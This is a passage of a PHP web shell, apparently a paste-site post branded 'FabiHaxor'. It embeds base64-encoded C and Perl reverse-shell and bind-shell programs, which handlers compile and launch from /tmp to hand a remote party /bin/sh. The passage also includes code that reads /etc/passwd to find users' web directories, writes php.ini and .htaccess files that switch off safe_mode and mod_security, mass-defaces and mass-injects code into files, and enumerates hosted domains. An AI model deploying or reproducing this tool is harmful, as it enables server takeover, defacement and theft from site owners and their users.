  1272. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
  1273. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1274. $bind_port_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
  1275. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1276.  
  1277. echo '<h1>Network tools</h1><div class=content>
  1278. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
  1279. <br /><span>Bind port to /bin/sh</span><br/>
  1280. Port: <input type=\'text\' name=\'port\' value=\'31337\'> Password: <input type=\'text\' name=\'pass\' value=\'fabiha\'> Using: <select name="using"><option value=\'bpc\'>C</option><option value=\'bpp\'>Perl</option></select> <input type=submit value=">>">
  1281. </form>
  1282. <form name=\'nfp\' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
  1283. <br /><br /><span>Back-connect to</span><br/>
  1284. Server: <input type=\'text\' name=\'server\' value="'.$_SERVER['REMOTE_ADDR'].'"> Port: <input type=\'text\' name=\'port\' value=\'1337\'> Using: <select name="using"><option value=\'bcc\'>C</option><option value=\'bcp\'>Perl</option></select> <input type=submit value=">>">
  1285. </form><br>';
  1286. if(isset($_POST['p1'])) {
  1287. function cf($f,$t) {
  1288. $w=@fopen($f,"w") or @function_exists('file_put_contents');
  1289. if($w) {
  1290. @fwrite($w,@base64_decode($t)) or @fputs($w,@base64_decode($t)) or @file_put_contents($f,@base64_decode($t));
  1291. @fclose($w);
  1292. }
  1293. }
  1294. if($_POST['p1'] == 'bpc') {
  1295. cf("/tmp/bp.c",$bind_port_c);
  1296. $out = ex("gcc -o /tmp/bp /tmp/bp.c");
  1297. @unlink("/tmp/bp.c");
  1298. $out .= ex("/tmp/bp ".$_POST['p2']." ".$_POST['p3']." &");
  1299. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp")."</pre>";
  1300. }
  1301. if($_POST['p1'] == 'bpp') {
  1302. cf("/tmp/bp.pl",$bind_port_p);
  1303. $out = ex(which("perl")." /tmp/bp.pl ".$_POST['p2']." &");
  1304. echo "<pre class=ml1>$out\n".ex("ps aux | grep bp.pl")."</pre>";
  1305. }
  1306. if($_POST['p1'] == 'bcc') {
  1307. cf("/tmp/bc.c",$back_connect_c);
  1308. $out = ex("gcc -o /tmp/bc /tmp/bc.c");
  1309. @unlink("/tmp/bc.c");
  1310. $out .= ex("/tmp/bc ".$_POST['p2']." ".$_POST['p3']." &");
  1311. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc")."</pre>";
  1312. }
  1313. if($_POST['p1'] == 'bcp') {
  1314. cf("/tmp/bc.pl",$back_connect_p);
  1315. $out = ex(which("perl")." /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." &");
  1316. echo "<pre class=ml1>$out\n".ex("ps aux | grep bc.pl")."</pre>";
  1317. }
  1318. }
  1319. echo '</div>';
  1320. printFooter();
  1321. }
  1322.  
  1323.  
  1324. function actionReadable() {
  1325. printHeader();
  1326. echo '<h1>Readable Dirs</h1>';
  1327. echo '<div class="content">';
  1328. $sm = ini_get('safe_mode');
  1329. if($sm) {
  1330. echo '<br /><b>Error: safe_mode = on</b><br /><br />';
  1331. } else {
  1332. @$passwd = file('/etc/passwd','r');
  1333. if (!$passwd) {
  1334. echo '<br /><b>[-] Error : coudn`t read /etc/passwd</b><br /><br />';
  1335. } else {
  1336. $pub = array();
  1337. $users = array();
  1338. $conf = array();
  1339. $i = 0;
  1340. foreach($passwd as $p) {
  1341. $r = explode(':',$p);
  1342. $dirz = $r[5].'/public_html/';
  1343. if(strpos($r[5],'home')) {
  1344. array_push($users,$r[0]);
  1345. if (is_readable($dirz)) {
  1346. array_push($pub,$dirz);
  1347. }
  1348. }
  1349. }
  1350. echo '<br><br>';
  1351. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br />";
  1352. echo "[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /><br /><br />";
  1353. foreach ($pub as $user) {
  1354. echo $user."<br>";
  1355. }
  1356. echo "<br /><br /><br />[+] Complete...\n"."<br />";
  1357. }
  1358. }
  1359. echo '</div>';
  1360. printFooter();
  1361. }
  1362.  
  1363. function actionBypass() {
  1364. printHeader();
  1365. echo '<h1>Safe Mode</h1>';
  1366. echo '<div class="content">';
  1367. echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
  1368. echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a></center>';
  1369. if(!empty($_POST['p2']) && isset($_POST['p2']))
  1370. {
  1371. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1372. fwrite($fil,'<IfModule mod_security.c>
  1373. Sec------Engine Off
  1374. Sec------ScanPOST Off
  1375. </IfModule>');
  1376. fclose($fil);
  1377. }
  1378. if(!empty($_POST['p1'])&& isset($_POST['p1']))
  1379. {
  1380. $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1381. fwrite($fil,'safe_mode=OFF
  1382. disable_functions=NONE');
  1383. fclose($fil);
  1384. }
  1385. if(!empty($_POST['p3']) && isset($_POST['p3']))
  1386. {
  1387. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1388. fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  1389. AddType application/x-httpd-cgi .sh
  1390. AddHandler cgi-script .pl
  1391. AddHandler cgi-script .pl');
  1392. fclose($fil);
  1393. }
  1394. echo "<br><br /><br /></div>";
  1395. echo '</div>';
  1396. printFooter();
  1397.  
  1398. }
  1399.  
  1400. function actionDeface() {
  1401. printHeader();
  1402. echo "<h1>Mass Defacer by FabiHaxor</h1><div class=content>";
  1403. ?>
  1404. <form ENCTYPE="multipart/form-data" action="<?$_SERVER['PHP_SELF']?>" method=POST onSubmit="g(null,null,this.path.value,this.file.value,this.Contents.value);return false;">
  1405. <p align="Left">Folder: <input type=text name=path size=60 value="<?=getcwd(); ?>">
  1406. <br>file name : <input type=text name=file size=20 value="index.php">
  1407. <br>Text Content : <input type=text name=Contents size=70 value="Hacked By FabiHaxor">
  1408. <br><input type=submit value="Deface Now"></p></form>
  1409.  
  1410. <?
  1411. if ($_POST['a'] == 'Deface') {
  1412. $mainpath = $_POST[p1];
  1413. $file = $_POST[p2];
  1414. $txtContents = $_POST[p3];
  1415. echo "Mass Defacer script by FabiHaxor"; echo "<br/><br/>";
  1416. $dir = opendir($mainpath); //fixme - cannot deface when change to writeable path!!
  1417. while ($row = readdir($dir)) {
  1418. $start = @fopen("$row/$file", "w+");
  1419. $code = $txtContents;
  1420. $finish = @fwrite($start, $code);
  1421. if ($finish) {
  1422. echo "$row/$file <br><br>";
  1423. }
  1424. }
  1425.  
  1426. }
  1427. echo '</div>';
  1428. printFooter();
  1429. }
  1430.  
  1431. function actionInjector(){
  1432. printHeader();
  1433. echo '<h1>Mass Code Injector</h1>';
  1434. echo '<div class="content">';
  1435.  
  1436. if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
  1437. function get_structure($path,$depth) {
  1438. global $DS;
  1439. $res = array();
  1440. if(in_array(0, $depth)) { $res[] = $path; }
  1441. if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
  1442. $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
  1443. if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
  1444. }
  1445. if(in_array(2, $depth) or in_array(3, $depth)) {
  1446. $tmp2 = array();
  1447. foreach($tmp1 as $t){
  1448. $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
  1449. $tmp2 = array_merge($tmp2, $tp2);
  1450. }
  1451. if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
  1452. }
  1453. if(in_array(3, $depth)) {
  1454. $tmp3 = array();
  1455. foreach($tmp2 as $t){
  1456. $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
  1457. $tmp3 = array_merge($tmp3, $tp3);
  1458. }
  1459. $res = array_merge($res,$tmp3);
  1460. }
  1461. return $res;
  1462. }
  1463.  
  1464. if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
  1465. $name = $_POST['name'] ? $_POST['name'] : '*';
  1466. $type = $_POST['type'] ? $_POST['type'] : 'html';
  1467. $path = $_POST['path'] ? $_POST['path'] : getcwd();
  1468. $code = $_POST['code'] ? $_POST['code'] : 'Bangladeshi Hacker FabiHaxor';
  1469. $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
  1470. $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
  1471. $dt = get_structure($path,$depth);
  1472. foreach ($dt as $d) {
  1473. if($mode == 'a') {
  1474. if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
  1475. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  1476. } else {
  1477. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  1478. }
  1479. } else {
  1480. if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
  1481. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:lime;"> was injected</span></div>';
  1482. } else {
  1483. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  1484. }
  1485. }
  1486. }
  1487. } else {
  1488. echo '<form method="post" action="">
  1489. <table align="center">
  1490. <tr>
  1491. <td>Directory : </td>
  1492. <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
  1493. </tr>
  1494. <tr>
  1495. <td class="title">Mode : </td>
  1496. <td>
  1497. <select style="width: 100px;" name="mode" class="box">
  1498. <option value="a">Apender</option>
  1499. <option value="w">Overwriter</option>
  1500. </select>
  1501. </td>
  1502. </tr>
  1503. <tr>
  1504. <td class="title">File Name & Type : </td>
  1505. <td>
  1506. <input type="text" style="width: 100px;" name="name" value="*"/>&nbsp;&nbsp;
  1507. <select style="width: 100px;" name="type" class="box">
  1508. <option value="html">HTML</option>
  1509. <option value="htm">HTM</option>
  1510. <option value="php" selected="selected">PHP</option>
  1511. <option value="asp">ASP</option>
  1512. <option value="aspx">ASPX</option>
  1513. <option value="xml">XML</option>
  1514. <option value="txt">TXT</option>
  1515. </select></td>
  1516. </tr>
  1517. <tr>
  1518. <td class="title">Code Inject Depth : </td>
  1519. <td>
  1520. <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
  1521. <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
  1522. <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
  1523. <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
  1524. </td>
  1525. </tr>
  1526. <tr>
  1527. <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"></textarea></td>
  1528. </tr>
  1529. <tr>
  1530. <td colspan="2" style="text-align: center;">
  1531. <input type="hidden" name="a" value="Injector">
  1532. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  1533. <input type="hidden" name="p1">
  1534. <input type="hidden" name="p2">
  1535. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  1536. <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
  1537. </tr>
  1538. </table>
  1539. </form>';
  1540. }
  1541. echo '</div>';
  1542. printFooter();
  1543. }
  1544.  
  1545.  
  1546. function actionDomain() {
  1547. printHeader();
  1548.  
  1549. echo '<h1>Local Domains FabiHaxor</h1><div class=content>';
  1550. $file = @implode(@file("/etc/named.conf"));
  1551. $Domain_path = "/var/named";
  1552.  
  1553. if (!$file) {
  1554. $domains = scandir($Domain_path);
  1555. $count=1;
  1556. $dc = 0;
  1557. echo "<table align=center border=1 width=59% cellpadding=5>
  1558. <tr><td colspan=2>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.Can't read named.cof .Domains are bypassed actually,you will face problem in symlink. </td></tr>
  1559. <tr><td>No</td><td>Domain</td><td>User</td></tr>";
  1560. foreach ($domains as &$domain) {
  1561. if (stripos($domain,".db")) {
  1562. $domain = str_replace('.db','',$domain);
  1563.  
  1564. }
  1565. if (strlen($domain) > 6) {
  1566.  
  1567. echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";
  1568.  
  1569.  
  1570. }
  1571.  
  1572. }
  1573. echo "</table>";
  1574. }else{
  1575. $count = 1;
  1576. preg_match_all("#named/(.*?).db#", $file, $r);
  1577. $domains = array_unique($r[1]);
  1578. echo "<table align=center border=1 width=59% cellpadding=5>
  1579. <tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
  1580. <tr><td>No</td><td>Domain</td><td>User</td></tr>";
  1581. foreach ($domains as $domain) {
  1582.  
  1583. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
  1584. echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
  1585. }
  1586. }
  1587.  
  1588. printFooter();
  1589. }
  1590.  
  1591. if( empty($_POST['a']) )
  1592. if(isset($default_action) && function_exists('action' . $default_action))
  1593. $_POST['a'] = $default_action;
  1594. else
  1595. $_POST['a'] = 'SecInfo';
  1596. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1597. call_user_func('action' . $_POST['a'])
  1598.  
  1599.  
  1600. ?>
Add Comment
Please, Sign In to add comment